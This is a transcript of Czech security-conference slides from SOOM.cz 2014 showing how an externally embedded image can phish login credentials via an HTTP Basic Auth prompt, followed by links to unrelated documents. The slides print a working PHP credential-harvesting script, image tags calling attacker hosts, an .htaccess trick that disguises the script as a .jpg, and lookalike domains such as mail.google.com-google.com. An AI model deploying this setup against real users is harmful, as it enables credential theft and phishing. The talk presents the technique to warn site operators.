Krádež přihlašovacích údajů obrázkem

Transkript

Krádež přihlašovacích údajů obrázkem
Krádež přihlašovacích údajů
obrázkem
Roman Kümmel
SOOM.cz Hacking & Security Konference 2014
Poděkování
za námět na tuto přednášku patří
Filipu Tomkovi
aka Fil-kun
SOOM.cz Hacking & Security Konference 2014
O co půjde
Půjde o krutopřísný exploit zneužívající
buffer overflow ?
NE
SOOM.cz Hacking & Security Konference 2014
Proč to dělat složitě
Proč hledat a zneužívat chyby, když nám
stejnou možnost dává přímo vestavěná
vlastnost webových prohlížečů ?
Navíc multiplatformě a napříč softwarem
-
Webové prohlížeče
E-mailový klienti
ostatní software zobrazující HTML
SOOM.cz Hacking & Security Konference 2014
Nebezpečí externích zdrojů
V čem může být nebezpečné, pokud
uživatelům na webu povolíme vkládání
externích obrázků v jejich příspěvcích?
<img src=“http://www.attacker.cz/image.jpg“>
• Identifikace uživatele (Referer, User-Agent, IP, ...)
• Zjištění skutečnosti, zda byla zpráva přečtena
• Zneužití pro CSRF útoky
Z tohoto důvodu jsou externí obrázky defaultně zakázány v e-mailovém sw.
SOOM.cz Hacking & Security Konference 2014
Ještě něco?
Jde externích obrázků zneužít také
k získání přihlašovacích údajů?
ANO
pomocí
HTTP Autentizace
SOOM.cz Hacking & Security Konference 2014
HTTP autentizace 1
HTTP Autentizaci lze implementovat
například použitím .htaccess a .htpasswd
pokud budu chtít zabezpečit obsah
stránky.
Tím ale žádný tajný údaj nezískám :(
SOOM.cz Hacking & Security Konference 2014
HTTP autentizace 2
HTTP Autentizaci lze použít i jinak
header('WWW-Authenticate: Basic realm="Message"');
$_SERVER['PHP_AUTH_USER']
$_SERVER['PHP_AUTH_PW']
SOOM.cz Hacking & Security Konference 2014
Exploit
<?php
$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW']
if ($user == "" || $pass == "" || !isLoginValid($user, $pass)) {
$message = '"POKUD CHCETE ZOBRAZIT VŠE, MUSÍTE SE PRIHLASIT"';
header("WWW-Authenticate: basic realm=$message");
exit();
} else {
$file = file_get_contents('log.txt');
file_put_contents("log.txt", "$user : $pass \r\n $file");
header('Content-Type: image/jpeg');
echo file_get_contents('image.jpg');
}
?>
SOOM.cz Hacking & Security Konference 2014
Použití a výsledek
<img src=“http://www.utocnik.cz/image.php“>
SOOM.cz Hacking & Security Konference 2014
Vylepšení (typ souboru)
Obejití ochrany umožňující vkládat pouze .jpg
Podstrkávání
.htaccess
RewriteEngine on
RewriteRule image\.jpg image.php
<img src=“http://www.utocnik.cz/image.jpg“>
SOOM.cz Hacking & Security Konference 2014
Vylepšení (název domény)
Lze podvrhnout název domény?
SOOM.cz Hacking & Security Konference 2014
Vylepšení (název domény)
Některé domény se mohou hodit :)
cz-seznam.cz
cz-volny.cz
com-google.com
cz-prilohy.email
com-inserted.pictures
SOOM.cz Hacking & Security Konference 2014
Vylepšení (název domény)
Subdomény jsou fajn :)
http://email.seznam.cz-seznam.cz
http://www.volny.cz-volny.cz
http://mail.google.com-google.com
http://mail.seznam.cz-prilohy.email
http://mail.google.com-inserted.pictures
SOOM.cz Hacking & Security Konference 2014
Výsledek
SOOM.cz Hacking & Security Konference 2014
Úspěšnost?
Nyní bych vám rád řekl, že úspěšnost tohoto
útoku je více než 70%, ale přeci si nemyslíte, že
jsem to skutečně někde zkoušel…

SOOM.cz Hacking & Security Konference 2014
Závěr
Raději si dobře rozmyslete, zda svým
uživatelům umožníte externí obrázky
používat…
SOOM.cz Hacking & Security Konference 2014

Podobné dokumenty

Ukázková kapitola 7

Ukázková kapitola 7 Robot pak dostává vysoce optimalizovanou stránku, ze které by normální uživatel rychle utekl. Na to jsou autoři vyhledávačů velmi citliví, jak již bylo několikrát řečeno, jejich cílem je podávat co...

Více

POČÍTAČOVÁ BEZPEČNOST z pohledu uživatele

POČÍTAČOVÁ BEZPEČNOST z pohledu uživatele (čistě informační www → bankovnictví) (příliš složité “pro všechny”)

Více

Bezpečnost IT

Bezpečnost IT Základy ochrany

Více

prezentace

prezentace per-server – pro všechny weby na serveru per-virtualhost – pro jeden virtualhost (web) per-directory – pro konkrétní adresář konkrétního webu tato možnost musí být povolena správcem serveru

Více

LETNI AKCE III

LETNI AKCE III 2. den: dopoledne přejedeme na TIROLER ACHE. Je skvělá na rozpádlování a podle Kanu Magazínu po Salze druhou nejnavštěvovanější řekou Rakouska. Není se co divit. Proplétá se opravdu nádherným kaňon...

Více

Gigaset 4000 classic - AmiCom Teplice, sro

Gigaset 4000 classic - AmiCom Teplice, sro Akumulátory se během nabíjení zahřívají; je to normální a není to nebezpečné. Neotevírejte přihrádku akumulátorů, pokud to není nezbytně nutné, mohlo by dojít k tomu, že stav nabití nebude správně ...

Více

gazzag Proxy

gazzag Proxy Sociální sítě jako nová platforma pro šíření Malware Michal Tresner AEC, spol. s r. o.

Více